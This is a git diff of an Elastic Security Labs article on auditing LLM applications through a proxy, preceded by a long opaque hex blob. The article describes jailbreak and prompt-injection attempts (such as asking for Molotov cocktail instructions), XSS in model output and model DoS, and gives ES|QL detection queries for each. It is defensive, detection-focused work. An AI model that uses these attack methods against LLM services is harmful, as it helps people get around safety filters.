d9d4bef69f40f5b26ac24ed62f47a48fd84bb498dc2c2005477982e899a4250854b66a4e23f24d4c8368f00227e6f59df4a2e59ae201d21ec4cdcde1b831f32317cc3cb0592a769eba45b6db55a4c72b6ac9a3f3de14926adb1b478fbd37f8536645e844b00ce3b477b16868493639e1581c0c61490e3e5c33edaeffc0c4e4e556ddfc3888fed11c4da7a3e86e2a2aa03fe27faa3306b5fa56f8754d95d3fc0634e27779b08d295f325eaabd1f50ae7dcf206424eff7f0f80c4a8f5c03b1588593598ba179e34d5a0b66edc2f4c09e961c3f8614833f9a86d70ea789d929c5da88d44f8a2150bbd43ff7eacdecc2e3e83ad6e994e354bd061ac5b4533da217b5e2dc147045d5b3d0ac48567bc39980e152c24a08d24a6ed4a1773f8ab56422464a6c7494cc0e44b918a397ee14bc56c62ac6600167e278be165d054e23509d454b01aa42ca0afeca87c4b24fa0860052531513d109d9e718aca52532d03c4dbedfdb2af3e268ee38538c243c049b2c5f67f91bf2a117b5c48866dcbe41ff69b7a8ae30f9356998dd05969e153f89f9a35f89638e4f1a8321fc5c084cbd7afd3a8b0ec4d479d47d9e9ec010ce77dbff00feb3d83609cf762b981bf6bf7d13c07fe9784b697bbbc33daa257e8fefa520bf26ae3bb66bf0e5722d867698747e5ec0be43b94a45ada8c960810d99f4d5d98c30db71ca0b593504e81a6b5d74e8a731ba9e45ea982e8161b980d12710069885b2e0f4001f9d7f1ea6026321a492e9d2d8614ae9d20ec37f407d70db8186593b56f98935824a7e45f5cfe2775257899a1f901828781ad9baec46800c6a2e3bcdecc79e3bbc6f7f0c5ff3d60fb91269e2e8f3c0a0c19cda211a1c3bb91292698d5aac3490e79c291718a1b60b20951d6a5211222c13b2e9d63f2aeb36f944c986eaecd665bf8a8da6e0bfec565ff89a9ba9852023f373309689bdc5b3c2b17b51733ed98a67c9ca3ca5467cdd9c80cf7a56968d13749d69108d1a9c66751203bc40e2464df1a4db087291faf4438a45434c164f91b42c24b7ada730faea72726a9d5795be5fbc7bb17df4e0462d1be9e49e09ad9d366a67f70a6ec648eacff5a36e855d73271b309c8a853c5d12e6dc4e00fc224d7d89007da4bbdb70064b878cbe9de936ff7be2607e0972f69ea15288f740a554452aa5edd8ae71ed5bf1269a9610070266a4202c19e5c9b73eca3baa6202713356b82982628893447dbe4174c5256aa0bd100a211061375c21d8d945b28fc7bc6d1c3e340a26092994d6993aae4147622e8a66e274e283bd338ec7baa0584007a87569c0128d06b0c15e99f116caca03446b0a799aa9494ca4f49991b8d526dbfde4e67eb76d2db60d6ac44a071069af4c570c9cd3f674ed4b84260dfdcf1c3329ea856b251935cbf66ff3f0869098925e4151307b83bc57efda311458d1f914d62425d5ed53b118abe2e2a8fc4b1a96792b85ef9d0ee7265c675b7a9188d594746d0b504a3bd4c5ca0bec85b6896a6bbe333c251b6e4b91c6fc80de5f6712ccbe63bae73ecc98170bde4d226d03210f578853becd0e0c4b0bdc25e2d85506c023a307637125719701738ab4f4d37adb195d5ca2502ada994b47f33a1e4511e7dbb65a44e1cce7673e1ba5fa26921ecf58f6b121fd1aba6b2e48b47b12b92c0ca4975bb25a3ba389e42ed32459ce1e19dc5a516995ed469e1a6637f91e9d4e69ccb7d3bae8d04aa1499ab64946dfc8e538bd11e19bdd75b0f42b418b0c31cf7e30be885b0230f3a8452ebce593a93bac19b17ece17c962ccd3a1d6350b6b5e01dac0d8d9a00c2151276449707791328204b7fdc0724ebaee0206db2e846da95da8dee74ccfb444ce032c6e9621c612bb357822a6738a6893f2f6a6ec8598f3807db672e154cd70e74612474cfdd3826ee46444402c48d9ef7829b83b554227f88081e373eee48a45d20cdadaf76d6d4ccd7a94433956e0aad4ba143aa51d710567d356ccd9808da6c3b77e5117c2f996bc680df80d8321b42b57800abaddadedccaf99398ed639b679ab823d119c600756164aff81844ece2f6dd2bffa32b7763e3557f99557bf7df201ada8eced923de4145a1086f95dcff8d1504efd906bda374d01de309aa1eac7ed6e65c92838783252fe1f747f018978885cdaed92ed51b3389198377c0a8675b3e986406fe98749a8200e467490ba9718987dfdcac6d5f2bec219f71d94d5fd66ab38e630db034fcdc3fa8c897ce982974d8c04b1a31d86c4521f75ee270902685fcbcdbfd0baafc48ec825f40c36a919a0f32b7af4e64fc048ff9a6636dfb3b18cf1ac83e333482ce1975b70ef988917bc9ef8e1e411f4e2c51b573d8fd8b0727605a5eac29da7720a7d3c9316fa10a57cfb8805f6a00d19f8a8ae3441ccbdc38b8353c063804fea549b56ca4e063107538a8a42caa9a269e1634cda0c99905ae3077144eb839e0de75693d22d5f9513b628db5530a5da9105010ec222cab5e7343692d5598def81805387bca891d0142b91f9aeb7e77b4c58cc52800d828a92d9b30f8484438fba784648448868141114ead4fcab39b961b10e82858f2d59204ce919b8b559786cb3718098b4d2c84d44dd041fcbf45e6cb5afafd828b474e46893e22c613f1dae845fc7f3a9999fd15c0c2ff537cae5223f755ee1cb3280be8836d22da61df340a2ce405142769819d3ddf3d066229f0983b858245cdc5329479aeec2e4c14288bc8c4dd6f891f707cda28bf1f58a4fd19076275964371ceb59691486c7f6267aa5aec74256d401cdb0cc9880c77f27674ddcf7842c73b3bef58e0836da8542f9951a0b94402133e215c553792a8cf13923e7943515b94da8df5d3ca0ca59ebe9346c5be42a8941031e9b79cf13ec0f673306edb34624156700c5dac94a17207d0b54fb7b59c000b72a1c7bf8ca15913bc020ee817557ed4a73e5c76b40b5fbb64b0756531d0b16adcd32a9022a239139d55827e8cc2302dbff8ff97095ec76a3bc1f7db10c18f978c161441ccf38976ebb40c0f3e5e7751579ad7edbeaf2ed2eda68c21d78863732e52a2dee38924f541bf0a18a4ddb20085e0f2fb9d3ccc918f56922b634b386ad21ac747b8b878088142a7f4a9e055a5891aeecfeea2d63d51307a23d2ff5286479e45a7ff1418f34faea13b503bc51a39a7a3cec17c8c6c19f54a284943c158f37dbf3cf477cd8e4e22c21ef92ae4ff26dfc299d29aa148a4b7fa8ae018875c9b8ee1150cefd9faf2f558d1cf0de26e69367b92a1c5550813c16bd7b609071c0a38f9ce0f6692fa296c5ce569034ea3faef0ce42316fc4a99681034eb97dc339e53a1e487adaf77eecc912767e2bc4429d846d8b63c8e61b3b8ed9b63dfd53d97398d1ed7fac3a5a230f8305ec44a7d09980e8a0f75b0989f2a43688ea63a79f5e1bb9eb7fca2626c60c3fc4985354440b4740557e27bf6d93edb713b029ca17320504c42f83c594c38e8d27c485f016b27a6b097c99237446d78749bce25da49cbc1b5a7b2794b7ff13065b7d8c6fe20936b342538f0751282e2ee3c76a44238c996cdaa4d1b81018b63e8f50f41c8153943c0722e8c7b817ce669b090446f0f1076cd1a1e327bfc66ff68e2ace46a84fb55aa526ecaf617d5c05d62dc0fe7cec3593f41b9882cf480445825e3a408b7fd9e6f76eecb76cd1c70e224fff5f1c2dc79d92761e8d0f467bbf8786fed7032a56e4ac53363b20c4864812d474638942fda348bdac5f4571912d546903ffcb72155fe8b1a826c04060919c7b92fded0198efeb9c59fc02bd52c7b009cf1dc64cd8f96b5e2602d222b66f68477bdb72504d082181cdad268165f468a55e0c9622dfa213f35987c4b72e9ee7fb27dab8d21fe3ddb6ddd39fdca509d115a64adea018d64913697ad28434881d8e26e94e809e41ec896eb2d3d5d00c8b29a1c35dff19e17c33d6c9fb7bc79568aeae042e8b9db42ada63054b37eebd0a6deac849c62f7a5454fc7c43313c38e85fc57b7b78686fd58b3ab682ec14d644a8a47638efb3f1cde80fc7ebc06395fed55887e5d62732c43cd9037625f7c10908ecc2dce83c9969bac5fe57e96e57658c7b83ad714661f9e17e8b6d3aa11def7b9c9eb8b5af9944b72d08c31112a72c16d8469d88f171882c8d42f050ca5e11de6f5d88845026c71563aaaddef5214b7c097897f157ad91892bd79d144e07f64ecde986afcb0f8941475117bb9226a5ffc2fa2d0ede7c5c944ff60add450428d360b17f8ab26363ab5f868beb71a789f456e5168796b4dc4f95a399d95e6963693b920998b55348f5ccf0769069768b4e61d0354d0656af1cca03856a64fbdd0855e3c70d1002acc221c96967462532e32983e7df8bb9ba4af4121f812ec4a9facb0231aebf02f32a2288a490c5437b6a9d62bb42d5f91cc1ec277d2a9b95db59f74b8a01eed4d034e3fe3582987ed06a92fe32bcb275ff32a2e45ae0a2b9d98a9ca6fae3b7a05897565027514389d62fd1277e1b6442a68ac6c86c313277e2d0f33568bced72be302c6a01d9d52d91ba265660782501db57a77ee13afc82810f7370651ac7e8e86347883523514b0e69973666aaf5d125f550c11c41dc25c1e897c5ecbaf434b1dcaecd2904c57db7789ddcd2bd7a4e44eb658def49760576d3983ab085eb502b2e74181af4d260206cd3541e48228b8c9b1edd236710a8269d380097f148be04d82e2fa0134307d79f4209bdbb148e4c77633cf994bca1d6e642b870eee36926291861d0bedb215ef6a73d2fb576fb3993a3a6cb85ce851f3fa96593defa6cc694bd02b16c593e596b2e0873ce5516cc56ee2fee7cc1b246f5731247a91ff762552f4b4c11cdb5b3a71e42ed3c86d3d10a238a48466737973ace3a1b698b17499e3bdd5941f142988c690f18f65aa97fcc92ba2c3a8b7f0f0eb2d929f0234a4d7b2d32fcbb4bfafd79a24cc8685a88e2196b9c312f91c131aa438eddb39b6db9f1fc965bbf98c34c886c6b76284255e1c056960d888f1361075cdbd436958c8ba95fc0b692a1eb72db7eb537c18b3e1fc08ba9f9831f289e2b701e9d3cead31a9a464a5023ba2434e0183a76ab0e78e2ac5a43edf08105a038b871dd5f3c5b24f67fc23be95e23d9dc81f0bfbd5859374796c270fa51681fc747e9aa43d74f59075991dc6e50052f4379b7f9a3eeb5000592aba8e069663d10a4d555365b5802c98a4f28493127889147f66a15e2db654fae3ddd182db28b1b0beca3a0f7a41242167a3ab3e045c0fc186f4c75f910a1c31789da75fb1379615cbef97a08855ef4125ace1e630dd9c38172bfa24b9bb4fc671220ee963150d3d61b77647141242d318341209d717de5571820f71a848718b088b0dc61ffbbc5f9e63df9f759d6bfc279fdadee028f73fc7fc667ae6868d9b5b46c70b86585acee906fe57408061f35b1832ded5cfa7532b3da8d0ecfd02dcc43b6a42ae088199a79005049b0a451d7d56f6c930f88df0e661faf05e09fb4f70a81061e997d4601a7f7625072c666df3c3201f9a57b609057c8ce3f117a295078bff32b5a25fc5710ba512748b77e63b1056f3a35ad3cc3d8979146e24637165385a7769bf941131a0790571a9401f4b279f0d42ca644670f4cc3c25a1ca12077ae8aa17ef7c68480f0e5e270d4c7f9d26c61d3b96c238049a9e798eb30a9d9edb57184fa848ac379df8f4863b767f7d2701a91a4520844ecbf84cf7822e5b9033d7f8673c516469896ec813502bfbd508a0d406da3154d34ce5ccf536037fe409fb14ed0dc9acff8207f145aa8337a93e80ec17554334afb4347ca9627ee2b3d37412c3842a704a796e5f1183b8f4814fff7b04b2c7fc20db21cd896125b0416dccb3fd24ff3a696a2f745912f3334efd9f8fd65e9beaa34b92f0382b882ad01b1b6070d7a65082c904bd4c5e905fb9d7a4cf7aa55d1848c4c04d0bf6627bf56e58a696771ecdd8ee684a905f2c7c63e558274038ea2725f0ea83ef79f3215e9a3a70550debdd801168568094d8cd979edb953f3b3b1cf12545bad45c588748892978cf5a63a9e99516bc3d7900beda83be74bf7713c04b1190cce3a517d68b24123acedf5ae448febacf7559fb22d358b46b2ed3326485e7c09264463f52503b3a4dcbe31920c73f2fd9ef6d1d7d7859e1033803c92e4174975ee12424d55e220e840659f0370572a13a365193964962ab30f912615b452d9d40384f43ff5e3d5df75e915736fd0e2e0e26c4f36b610d9205a8e6228e1965a4a269a66d686d285bddecd581fcf80e7ed147be0e20602ea3bac9ee8644f8407228e73afe696f0d1b12b9d77fbd800c0ea26dbd2d3d526fefa549a7571a4cab7362f387f35656d2978c6ca2dd47a8c6f8d952258fac9e742406cc94ed55d3d68708a2ced6d616f9cf3f999b5a995ccd8400817324a80c6e13dfe6e4b9d26cf95f2e3dfd11a33546b525ed7ae04785d217c4776bba0cf75a91a0f0ed9f5513fa3d23b92a790c495b9b81cfa1d9f8d5f1a5704b8df48838673b1408c0445a5e42aef3465b1d1417308600b331e6a282799b4adaca12746a99d0219add2ab2c5c8d700689296fde847018ba318f2abfa258505046773e3bbd730d24140f71c3ba1675bf25bd333fe6bbbf58d3e544f2ed701aaac5d21abfcae69f08b2c5eda3e0bc46a988dd3daff5ea78570a618f83035fafde9bbfb34ed62b9d6b551b20b98ae2f8b3695e0f64c43a06552cb9c6cb7a0d0ec40847d2277a251f00007812e81633b6c87562b5baa5e7ce6b41bb6abce89c628790c2783bc7cb78a84b8c4c5e192b5a9d2932e49e137a4ab8412804eb6630784d6cd1133b3151270b2fa3ad9927d3f46f2d5d5b4ae115ea6d540c1d06e05dd4cece1c8dfd28dc6e50052f4379b7f9a3eeb5000592ab47aca7617a416d379ebbe714e902b7fb555eeff5d84852e8ef13ec921c71c0f1f6b219569e40f1cc232c529033196df97331b7853eb8252a9b1d00a709fb0b5604b4b23294941f5f15d63bbdd14e5a6931ee5585576065b519f017e90f7b69cf3bb5cc21d9194b8d79493c72fc40394051e0a329485006bdbab0de154134813ae62372c9f7346bc703908357b5a67489590ce296dae252beac6042173aa443c1e445a65e1e7b39c2d62f12cc28e758a5f7b0c53b65c749c4d30ec27f060341ea0fff2a598ce5d29bf8b4ca6dc4e0531d1ea98e2fa6ff9c7be9592cd8be9b94b21fe416f7bd8d60dc324f3fd33ad1c4582eaecccb836b4cb518f2db38230b5d1d49bca41932038adccc00af4f8143b21811335c08ffc755c9a827181b0d19d2a4298495aa22ac321d97cda2a1d4ffad6f2e84e0e14750604f92c14c38a6728c55c92d73d53c6961a284af77ff16701d71f9abcb11d595e707ef3f61d1460fb3991b220a0baa0cff2dbe989acdd96e736401f970a8a82c5047ac1b6487e577a60c3a42cc935c738259f7c9615138010b63b8eb68ad2e39cc7b6a3977f6afab33354390316b73a94f1377aafc7cc0170a4e4902339d2d61839cd0b457ae690c43a2e9e344965ad2ea386d1797c0e5cb807381f9bfb570011bc4665b99d6af1ad8c16d49af06268e7b1769af9562864b75783fd2d161a5ef953d08b9c12a76d1b90f9149c97ccc1fb6170a2d4550cb262d59486b393cae19d208e2bf81f1d112fde936217705da96472ff62cd503bd894a7ebc6844da3a22fe9e04e3a4c94003636334b078b0aba231573856eceaacd9557ced034b0284393967d16b54c98465d5ef285b24b5abace6886eb2b6b42cd83d088ebc224a2e3c65df23e1dd83032b411a2d61f8b96b64faefb4c32740b2cb4071e220a88371a90f3b900162fd6ab3c4c7384062d6dc44c6ca05b4a8b00ab171cd4a16f1afec4b638b83f1edb95e0e6cae81b83cda1495f14eed8d16378fce4e21070938d8eafdd7ab7bf0a6dce33b73d36c5cdae1d8a83c4c8c18bdeab3b1456f623ffb637612dfddd8a7fb8e304375188db0f352ba831fea975ccaab9d263d3ed904d37c937a009e91a0705d63d1922592d71d437b4744c822491681346a050480e12c4d814e3ab35710419e2bafe37bd0d94a81d09ce9c03e098ad91db882ba118f376ddf8a12dea9cc13e6659436f6839fd00cc97d103933e9f6b02ae8af66046e6d59c3dc9bbca17e093d331cafb926451c88f600dbfb53e16651dee4b87cfc91e52b98574947d5bb21cfb1178847cdbdbc46455362c534e36d846ef36724fa2829977e3aa48ea0e2cefb2c205ee4a144fcf4c57fcb6a4a9512e5344d7f33d1ddc76f1cde39fd38bb09c90e1f434ab11a2be8a3ef680ce1ab41dfc9e022774ed5a55c53111d2fd9d497883f81ff995c237158b121ff51f6cdfd083ddfa74a0ec14ff10cf46e12c0528c8b9d92c15b044d41da8b68d64e9abb4287b6d3ca1f12576fb777d3433fae9f0e3d070c954b51b6d7186b1663824867e93a3271f9a4bfc7c77538dd0328f4fab971894a59f05109c66d368124340a6c523400647bb8016e7c1e29ebf97ebc30e94f2ba1d79deb5653d81f6ec5a0d2d7aa552a74574ef59d8f23fcdf696df257cf95a799c0a9f66d8359aa6d6c948c90d3c03405af83da9ce73c025224c2c080b802816c7c37ebaa2da539d6c98c22515b1c60c087e7319dfad532f319e0565bbdee8f17d1ca778d4f1dba675bc9db50150740d6e1588a565702b005ab6ef57ffd8fcb7137e0db2b1c1bdd2148599c0dd16cb4f6b1232427eb49bc5507a64e4fdce36429e53ce7e1789b159b232b08b010ed6317d7e7d00b60d7e02fb2ccb9cb9337cdbf8ba9246fbbe7bbce3c055c31534a960eb1162fb3d69b9cbcb2fafdbd12b06afe36581bfaeb949532e16e5dba8976cd75288d163d1da7a5a47f12a5b7bbe72f5cab646b2de3ad1b5fea7ef96876a96e1c9558c13bd3015285e1910ad6cfb35d41e95c1ec3afd0a7fa017b2fe8fd067a907b6f856ba974e5fd101d9a2c3e9e84c3b94cf1c87ac7896ba8b53749a97fedd5aa4fabe8b15b56db1a3215375bfd0e3ba59b216c7214e3937fbe13b4a03d9266823115090343a1c0ce3f7fe549fe67f2d414ff307fb6eaec20c03348edf3ea40a9020abbc7f6f5b9a0eafb2fb85b6542c3686b760d47771a176316ec5545ba6e9e751daf8ac458e915301cfa6479b54563e2f92ad9f9292c620fae2cc12664792318ab443c3741c4a581352c3a08629b23d44d0166c204f893ea03d8400b225ae4111ea6a1e68e5131ca56fcf09bea9cf2a8d6a820877d3b5896866a124be25f346d850c6db29f5267feae669ca8523541abda6eb3beffe52e9a708b6c782c253e5aaa0622198b16a65cd9abc410d195b54aa2248e1ae5ee1f07e1dfa0bc47047a8fe46eb602fe3f04566b8aa1a8978cf99feb71e16ea3395b6eb2fd5baf0d91860e96b94667097e0aac435c1a844e3bd0c5d0b1a8a323b8b90d1f24856660aa865570ed23b858a6fa1ca8bcd1e0ec68199e405fcc7009a20e70816cc3fbd59f9649b97f8dbd674f6da81154a7e15bb89d1d962d2d2744e553642836de09a8f7cf8e552b4c83bbfdb7cc5ef0d47a94d97dbacde473759bb58e6f8f9572fca8f4fc6886a3ede5f0b67b98e1e16808864691255b9901609842371123e813a151dddc0ab7c93e85a728105cd7c71b6ad3db68fa8c5a3607dfdc9680f434290cc6e4a45c0acd8ce409f3c994ab24466d172e3814248296fe1202a43ba543dc94c234b9ec8b549cc7e9a444fd72938fa08c761dcc34ad9860bd212d27511ff0fd5670040c6c214ae2703f0211f0450f4247410d2ff703f0a130a6659a0a6029bf54c464c441022595b615a195b90411e5fa9f7421c9be275c14bf243c6b5863fb1e67dcae522222c5378b0c935500b91fd50d54e7480077c884bc9a9359716f7eb1b2c0735e6a0f816546c245e94ef270bec1d22f334d1b024003051b1bbe075e6300a4c42bd96d39bbd5eb9dd89e3a2c4937abc1024c0f8f05b30bca3c1357c39c98f83f648fc9587a33c62a2bc327d50db6c36dbe4b6672171dd12a73378b522a4383036b511fd59641e886b1308aa470f2c0ba8659b88b580ae53db092f9e33fbe07c536deff191d500af9bff20c0e964ae66b3f054b1a9614755abbe1ad3e70902a47edf277d54b12dcd56d16e4ab543eb324e8550d909f40b180ebc957dd3e6996462b2bf4aece9798dbe24f75cb914a32c26d78e858edc703a0015f3abd2b2825feb2ffb2580c173dd42814ae4829f67eb6fd03396287e36a02ef2263c9223cc79009905750da475c305f643cc172d6f6d5d72d5151b2feb198c5a5003e78a2fae216e15ef96f41e5eefde2a7a1e63b60192f6f1d7e58eb457db2da0ee5313e8ee18e0a019d79316d211b2de962666093a99c62764fe8f1db881b66a6c4290312b65530103b696c7fbc28eebae7d3ad4f193e6316c4fad502842cef66001cf92ecce6db65e9ecc98d243ddf72530f7d421788b500af4e8a9025faa3ee68899fe25f18b5c4612b2dc2237b6f138255c467bc03d2c952f97bf48106fbade9b1aba63d45d8e1004d0235575195682ca1c560af9c2fd8ff8e81165f05267798b6da46adc7c4e5aead50ec81c395f17a77519ec81bb90caeaef2d60f644b56626d9a1f8e57498b637999de744059fa70843b45a3 \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.md index 2a5c78a686f81..f211ccf4f21ae 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/embedding_security_in_llm_workflows.md @@ -22,16 +22,16 @@ We recently concluded one of our quarterly Elastic OnWeek events, which provides Elastic provides the ability to audit LLM applications for malicious behaviors; we’ll show you one approach with just four steps: - 1. Intercepting and analyzing the LLM requests and responses + 1. Intercepting and analyzing the LLM requests and responses 2. Enriching data with LLM-specific analysis results 3. Sending data to Elastic Security - 4. Writing ES|QL detection rules that can later be used to respond + 4. Writing ES|QL detection rules that can later be used to respond -This approach reflects our ongoing efforts to explore and implement advanced detection strategies, including developing detection rules tailored specifically for LLMs, while keeping pace with emerging generative AI technologies and security challenges. Building on this foundation, last year marked a significant enhancement to our toolkit and overall capability to continue this proactive path forward. +This approach reflects our ongoing efforts to explore and implement advanced detection strategies, including developing detection rules tailored specifically for LLMs, while keeping pace with emerging generative AI technologies and security challenges. Building on this foundation, last year marked a significant enhancement to our toolkit and overall capability to continue this proactive path forward. Elastic [released](https://www.elastic.co/blog/introducing-elastic-ai-assistant) the AI Assistant for Security, introducing how the open generative AI sidekick is powered by the [Search AI Platform](https://www.elastic.co/platform) — a collection of relevant tools for developing advanced search applications. Backed by machine learning (ML) and artificial intelligence (AI), this AI Assistant provides powerful pre-built workflows like alert summarization, workflow suggestions, query conversions, and agent integration advice. I highly recommend you read more on Elastic’s [AI Assistant](https://www.elastic.co/elasticsearch/ai-assistant) about how the capabilities seamlessly span across Observability and Security. -We can use the AI Assistant’s capabilities as a third-party LLM application to capture, audit, and analyze requests and responses for convenience and to run experiments. Once data is in an index, writing behavioral detections on it becomes business as usual — we can also leverage the entire security detection engine. Even though we’re proxying the Elastic AI Assistant LLM activity in this experiment, it’s merely used as a vehicle to demonstrate auditing LLM-based applications. Furthermore, this proxy approach is intended for third-party applications to ship data to [Elastic Security](https://www.elastic.co/guide/en/security/current/es-overview.html). +We can use the AI Assistant’s capabilities as a third-party LLM application to capture, audit, and analyze requests and responses for convenience and to run experiments. Once data is in an index, writing behavioral detections on it becomes business as usual — we can also leverage the entire security detection engine. Even though we’re proxying the Elastic AI Assistant LLM activity in this experiment, it’s merely used as a vehicle to demonstrate auditing LLM-based applications. Furthermore, this proxy approach is intended for third-party applications to ship data to [Elastic Security](https://www.elastic.co/guide/en/security/current/es-overview.html). We can introduce security mechanisms into the application's lifecycle by intercepting LLM activity or leveraging observable LLM metrics. It’s common practice to address prompt-based threats by [implementing various safety tactics](https://platform.openai.com/docs/guides/safety-best-practices): @@ -46,18 +46,18 @@ We can introduce security mechanisms into the application's lifecycle by interce 9. **HITL Feedback for Model Training**: Learn from human-in-the-loop, flagged issues to refine the model over time 10. **Restrict API Access**: Limit model access based on specific needs and user verification -Two powerful features provided by OpenAI, and many other LLM implementers, is the ability to [submit end-user IDs](https://platform.openai.com/docs/guides/safety-best-practices/end-user-ids) and check content against a [moderation API](https://platform.openai.com/docs/guides/moderation), features that set the bar for LLM safety. Sending hashed IDs along with the original request aids in abuse detection and provides targeted feedback, allowing unique user identification without sending personal information. Alternatively, OpenAI's moderation endpoint helps developers identify potentially harmful content like hate speech, self-harm encouragement, or violence, allowing them to filter such content. It even goes a step further by detecting threats and intent to self-harm. +Two powerful features provided by OpenAI, and many other LLM implementers, is the ability to [submit end-user IDs](https://platform.openai.com/docs/guides/safety-best-practices/end-user-ids) and check content against a [moderation API](https://platform.openai.com/docs/guides/moderation), features that set the bar for LLM safety. Sending hashed IDs along with the original request aids in abuse detection and provides targeted feedback, allowing unique user identification without sending personal information. Alternatively, OpenAI's moderation endpoint helps developers identify potentially harmful content like hate speech, self-harm encouragement, or violence, allowing them to filter such content. It even goes a step further by detecting threats and intent to self-harm. -Despite all of the recommendations and best practices to protect against malicious prompts, we recognize that there is no single perfect solution. When using capabilities like OpenAI’s API, some of these threats may be detected by the content filter, which will respond with a usage policy violation notification: +Despite all of the recommendations and best practices to protect against malicious prompts, we recognize that there is no single perfect solution. When using capabilities like OpenAI’s API, some of these threats may be detected by the content filter, which will respond with a usage policy violation notification: ![Violation notification from OpenAI](/assets/images/embedding-security-in-llm-workflows/image5.png) -This content filtering is beneficial to address many issues; however, it cannot identify further threats in the broader context of the environment, application ecosystem, or other alerts that may appear. The more we can integrate generative AI use cases into our existing protection capabilities, the more control and possibilities we have to address potential threats. Furthermore, even if LLM safeguards are in place to stop rudimentary attacks, we can still use the detection engine to alert and take future remediation actions instead of silently blocking or permitting abuse. +This content filtering is beneficial to address many issues; however, it cannot identify further threats in the broader context of the environment, application ecosystem, or other alerts that may appear. The more we can integrate generative AI use cases into our existing protection capabilities, the more control and possibilities we have to address potential threats. Furthermore, even if LLM safeguards are in place to stop rudimentary attacks, we can still use the detection engine to alert and take future remediation actions instead of silently blocking or permitting abuse. ## Proxying LLM Requests and Setup -The optimal security solution integrates additional safeguards directly within the LLM application's ecosystem. This allows enriching alerts with the complete context surrounding requests and responses. As requests are sent to the LLM, we can intercept and analyze them for potential malicious activity. If necessary, a response action can be triggered to defer subsequent HTTP calls. Similarly, inspecting the LLM's response can uncover further signs of malicious behavior. +The optimal security solution integrates additional safeguards directly within the LLM application's ecosystem. This allows enriching alerts with the complete context surrounding requests and responses. As requests are sent to the LLM, we can intercept and analyze them for potential malicious activity. If necessary, a response action can be triggered to defer subsequent HTTP calls. Similarly, inspecting the LLM's response can uncover further signs of malicious behavior. Using a proxy to handle these interactions offers several advantages: @@ -123,7 +123,7 @@ def azure_openai_proxy(): }) ``` -With the Flask server, you can configure the [OpenAI Kibana Connector](https://www.elastic.co/guide/en/kibana/current/openai-action-type.html) to use your proxy. +With the Flask server, you can configure the [OpenAI Kibana Connector](https://www.elastic.co/guide/en/kibana/current/openai-action-type.html) to use your proxy. ![](/assets/images/embedding-security-in-llm-workflows/image10.png) @@ -148,7 +148,7 @@ The LangSmith Proxy is designed to simplify LLM API interaction. It's a sidecar **It’s important to understand that even though documented lists of protections do not accompany some LLMs, simply trying some of these prompts may be immediately denied or result in banning on whatever platform used to submit the prompt. We recommend experimenting with caution and understand the SLA prior to sending any malicious prompts. Since this exploration leverages OpenAI’s resources, we recommend following the bugcrowd [guidance](https://bugcrowd.com/openai) and sign up for an additional testing account using your @bugcrowdninja.com email address.** -Here is a list of several plausible examples to illustrate detection opportunities. Each LLM topic includes the OWASP description, an example prompt, a sample document, the detection opportunity, and potential actions users could take if integrating additional security mechanisms in their workflow. +Here is a list of several plausible examples to illustrate detection opportunities. Each LLM topic includes the OWASP description, an example prompt, a sample document, the detection opportunity, and potential actions users could take if integrating additional security mechanisms in their workflow. While this list is currently not extensive, Elastic Security Labs is currently undertaking a number of initiatives to ensure future development, and formalization of rules will continue. @@ -175,7 +175,7 @@ FROM azure-openai-logs | OR response.choices LIKE "*I'm sorry, but I can't assist*" ``` -A slightly more advanced query detects more than two similar attempts within the last day. +A slightly more advanced query detects more than two similar attempts within the last day. ``` sql FROM azure-openai-logs @@ -197,7 +197,7 @@ FROM azure-openai-logs **Sample Response**: ![](/assets/images/embedding-security-in-llm-workflows/image17.png) -With the additional analysis from OpenAI’s filtering, we can immediately detect the first occurrence of abuse. +With the additional analysis from OpenAI’s filtering, we can immediately detect the first occurrence of abuse. **Detection Rule Opportunity**: ``` sql @@ -241,7 +241,7 @@ This query detects suspicious behavior related to Molotov Cocktails across multi - **Session-Level Analysis**: By grouping events by connectorId, it analyzes the complete sequence of attempts within a session. It then calculates the total number of attempts (```attempts = count(*)```) and the highest sensitivity score (```max_sensitivity = max(analysis.llm_guard_response_scores.Sensitive)```) across all attempts in that session - **Flagging High-Risk Sessions**: It filters sessions with at least one attempt (```attempts >= 1```) and a maximum sensitivity score exceeding 0.5 (```max_sensitivity > 0.5```). This threshold helps focus on sessions where users persistently discussed or revealed potentially risky content. -By analyzing these factors across multiple events within a session, we can start building an approach to detect a pattern of escalating discussions, even if individual events might not be flagged alone. +By analyzing these factors across multiple events within a session, we can start building an approach to detect a pattern of escalating discussions, even if individual events might not be flagged alone. ### LLM02 - insecure output handling @@ -280,13 +280,13 @@ FROM azure-openai-logs | WHERE total_attempts >= 2 ``` -This pseudo query detects potential insecure output handling by identifying LLM responses containing scripting elements or cookie access attempts, which are common in Cross-Site Scripting (XSS) attacks. It is a shell that could be extended by allow or block lists for well-known keywords. +This pseudo query detects potential insecure output handling by identifying LLM responses containing scripting elements or cookie access attempts, which are common in Cross-Site Scripting (XSS) attacks. It is a shell that could be extended by allow or block lists for well-known keywords. ### LLM04 - model DoS **OWASP Description**: Overloading LLMs with resource-heavy operations can cause service disruptions and increased costs. Reference [here](https://github.com/OWASP/www-project-top-10-for-large-language-model-applications/blob/main/2_0_vulns/LLM04_ModelDoS.md). -**Example**: An adversary may send complex prompts that consume excessive computational resources. +**Example**: An adversary may send complex prompts that consume excessive computational resources. **Prompt**: ![](/assets/images/embedding-security-in-llm-workflows/image2.png) @@ -304,9 +304,9 @@ FROM azure-openai-logs | WHERE total_attempts >= 2 ``` -This detection illustrates another simple example of how the LLM response is used to identify potentially abusive behavior. Although this example may not represent a traditional security threat, it could emulate how adversaries can impose costs on victims, either consuming resources or tokens. +This detection illustrates another simple example of how the LLM response is used to identify potentially abusive behavior. Although this example may not represent a traditional security threat, it could emulate how adversaries can impose costs on victims, either consuming resources or tokens. -**Example 2**: An adversary may send complex prompts that consume excessive computational resources. +**Example 2**: An adversary may send complex prompts that consume excessive computational resources. **Prompt**: ![](/assets/images/embedding-security-in-llm-workflows/image16.png) @@ -314,7 +314,7 @@ This detection illustrates another simple example of how the LLM response is use **Sample Response**: ![](/assets/images/embedding-security-in-llm-workflows/image14.png) -At a glance, this prompt appears to be benign. However, excessive requests and verbose responses in a short time can significantly increase costs. +At a glance, this prompt appears 